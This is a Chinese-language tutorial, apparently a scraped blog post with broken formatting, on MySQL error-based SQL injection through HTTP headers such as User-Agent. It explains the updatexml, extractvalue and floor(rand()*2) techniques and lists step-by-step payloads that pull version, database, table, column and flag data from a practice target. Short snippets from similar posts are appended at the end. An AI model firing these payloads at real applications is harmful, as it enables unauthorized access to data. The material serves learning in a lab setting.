Day3 SQL注入之報錯注入(Header注入)

2021-10-24 08:26:30 字數 4158 閱讀 9670

extractvalue

floor(rand()*2)

當場景中僅僅將sql語句帶入查詢返回頁面正確,沒有返回點的時候,

需要報錯注入,用報錯的回顯把我們想要看到的東西,以乙個報出錯誤的形式展現出來

插入資料

insert

into

(columns1,columns2,..

.)value

('value1'

,'value2',...)

連線字串

select concat(

'a',

'b')

利用報錯注入顯示當前資料庫名,利用連線符將非法字元聯入,導致函式出現報錯顯現,同時把我們想要看到的資料展現出來

更新xml文件,中間引數為路徑

select uodatexml(1,

'~',

1)

語法:updatexml(目標xml內容,xml文件路徑,更新的內容)

實際上這裡是去更新了xml文件,但是我們在xml文件路徑的位置裡面寫入了子查詢select database(),我們輸入特殊字元concat('~',...),然後就因為不符合輸入規則然後報錯了

但是報錯的時候他其實已經執行了那個子查詢**

updatexml () 這個函式一般是配合and 或者是or 使用的,他和聯合查詢不同,不需要在意什麼字段數,一般建議使用oreg:

select

*from news where id=

1and updatexml(

1,concat(

0x7e,(

select

database()

),0x7e),

1)

在靶場中看資料庫返回的資料,有時會包括user-agent,refferer等等響應頭中的資訊,說明是可以利用報錯注入的header注入(通過檢視原始碼,看過濾的引數和insert into使用的引數,從而確定注入位置)

在登陸時,利用burpsuite抓包,將相應的user-agent等修改為要注入的sql語句

在repeater中go一下,或者使用瀏覽器外掛程式修改頭部再執行,即可看到想要看的資料

基本**解釋:

基本的實現語句,是利用資料庫中的增加,進行報錯注入

insert

into sanhao(name,fenshu)

values(''

or updatexml(

1,concat(

0x7e,(

select

database()

)),1

),1)

查詢資料庫版本

' or updatexml(

1,concat(

0x7e,(

select version())

),1)

,1)-- qwe

查詢本資料庫名稱

' or updatexml(

1,concat(

0x7e,(

select

database()

)),1

),1)

-- adf

查詢表名

' or updatexml(

1,concat(

0x7e,(

select table_name from information_schema.

tables

where table_schema=

database()

limit0,

1)),

1),1

)-- qwe

查詢欄位名

' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='flag_head' limit1,

1)),

1),1

)-- qwe

查詢資料

' or updatexml(

1,concat(

0x7e,(

select flag_h1 from flag_head limit0,

1)),

1),1

)-- qwe

函式解釋:

extractvalue():從目標xml中返回包含所查詢值的字串。

extractvalue(xml_document, xpath_string)
第乙個引數:xml_document是string格式,為xml文件物件的名稱,文中為doc

第二個引數:xpath_string (xpath格式的字串),xml中的位置是可操作的地方,xml文件中查詢字元位置是用 /***/***/***/…這種格式,如果我們寫入其他格式,就會報錯,並且會返回我們寫入的非法格式內容,而這個非法的內容就是我們想要查詢的內容

eg:

extractvalue(

null

,concat(

0x7e,(

select @@datadir),

0x7e))

;

' or extractvalue(

1,concat(

0x7e,(

select

database()

),0x7e))

-- sad

' and extractvalue(1,concat(0x7e,(select  table_name from information_schema.tables where table_schema='security')

,0x7e))

-- afrw

extractvalue的用法和updatexml基本一致,均只能顯示32位

and

(select

1from

(select

count(*

),concat(

user()

,floor(rand(0)

*2))x from information_schema.

tables

group

by x)a)

;

rand()用於產生乙個0~1的隨機數

floor()向下取整

rand()函式生成0~1的數,使用floor函式向下取整,值就是固定的「0」,我們將rand*2,得到的值就變成了不固定的「0」或者「1」

select

count(*

)from table1 group

by floor(rand()*

2)

由於floor(rand(0)*2)是隨機產生,會先產生乙個定值,在count時先取key發現是0,會重新計算floor(rand(0)*2)如果變為1,則會將key=1插入

報錯的產生在於當發現乙個key不存在,需要記錄時,會重新計算隨機值,就有可能會生產已經存在的key值,由於不能重覆記錄同乙個key值在兩條記錄中,就會有報錯產生

SQL注入之報錯注入

固定語句公式 union select 1 from select count concat floor rand 0 2 注入爆資料語句 a from information schema.tables group by a b 假如id輸入存在注入的話,可以通過如下語句進行報錯。mysql se...

SQL注入之報錯注入

0x01 報錯注入 在實際場景中,沒有乙個資料的返回資訊點。此時需要用報錯注入使其顯示出注入資訊。使用到報錯注入的場景有 普通報錯注入,即沒有資料返回點 insert注入 update注入 delete注入 0x02 常用到的兩個報錯函式 updatexml 和extractvalue 函式 0x0...

SQL注入基礎 3 報錯注入

1 考慮使用報錯注入 url url 由於多了乙個 sql語句執行時會報錯。而這裡程式直接將錯誤資訊輸出到了頁面上,所以可以利用報錯注入來獲取資料。2 獲取user 的值 報錯注入有多種格式,這裡使用updatexml 函式,其中0x7e為ascii編碼,解碼為 語句 and updatexml 1...